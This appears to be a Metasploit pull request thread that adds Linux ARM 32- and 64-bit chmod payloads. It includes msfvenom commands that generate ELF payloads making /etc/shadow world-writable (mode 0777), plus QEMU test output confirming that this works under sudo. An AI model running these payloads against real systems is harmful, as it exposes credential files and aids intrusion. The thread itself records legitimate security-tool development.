Add Linux ARM chmod payloads

[bcoles]

Add Linux ARM 32-bit / 64-bit Little Endian chmod payloads.

Tested with QEMU.

Verification

ARM Little Endian (armle) (32-bit)

Generate a Linux Chmod payload (with optional NOP sled):

./msfvenom -n 100 --format elf -p linux/armle/chmod FILE="/etc/shadow" MODE="0777" > chmod.elf

Execute the payload with QEMU:

$ /home/user/qemu/build/qemu-arm -strace ./chmod.elf ; ls -la /etc/shadow
1132678 chmod("/etc/shadow",0777) = -1 errno=1 (Operation not permitted)
1132678 exit(0)
-rw-r----- 1 root shadow 1874 Jan 24  2025 /etc/shadow
$ sudo /home/user/qemu/build/qemu-arm -strace ./chmod.elf ; ls -la /etc/shadow
1132685 chmod("/etc/shadow",0777) = 0
1132685 exit(0)
-rwxrwxrwx 1 root shadow 1874 Jan 24  2025 /etc/shadow

Note the payload was executed successfully and the file permissions were changed.

ARM (aarch64) (64-bit)

Generate a Linux Chmod payload (with optional NOP sled):

./msfvenom -n 100 --format elf -p linux/aarch64/chmod FILE="/etc/shadow" MODE="0777" > chmod.elf

Execute the payload with QEMU:

$ /home/user/qemu/build/qemu-aarch64 -strace ./chmod.elf ; ls -la /etc/shadow
1132844 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = -1 errno=1 (Operation not permitted)
1132844 exit(0)
-rw-r----- 1 root shadow 1874 Jan 24  2025 /etc/shadow
$ sudo /home/user/qemu/build/qemu-aarch64 -strace ./chmod.elf ; ls -la /etc/shadow
1132849 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = 0
1132849 exit(0)
-rwxrwxrwx 1 root shadow 1874 Jan 24  2025 /etc/shadow

Note the payload was executed successfully and the file permissions were changed.

[dledda-r7]

Hi @bcoles , would you mind passing msftidy on the module? thank!

[bcoles]

Hi @bcoles , would you mind passing msftidy on the module? thank!

done

[dledda-r7]

┌──(kali㉿kali)-[~/Public]
└─$ cat notread       
cat: notread: Permission denied
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ qemu-armel -strace chmod.armle.elf 
126530 chmod("/home/kali/Public/notread",0777) = 0
126530 exit(0)
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ cat notread 
oh no D:
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ 

┌──(kali㉿kali)-[~/Public]
└─$ cat notread 
cat: notread: Permission denied
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ chmod +x chmod.aarch64.elf 
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ qemu-aarch64 -strace chmod.aarch64.elf 
127162 fchmodat(AT_FDCWD,"/home/kali/Public/notread",0777,0) = 0
127162 exit(0)
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ cat notread               
oh no D:
                                                                                                            
┌──(kali㉿kali)-[~/Public]
└─$ 

[sjanusz-r7]

Release Notes

Adds Linux ARM 32-bit / 64-bit Little Endian chmod payloads.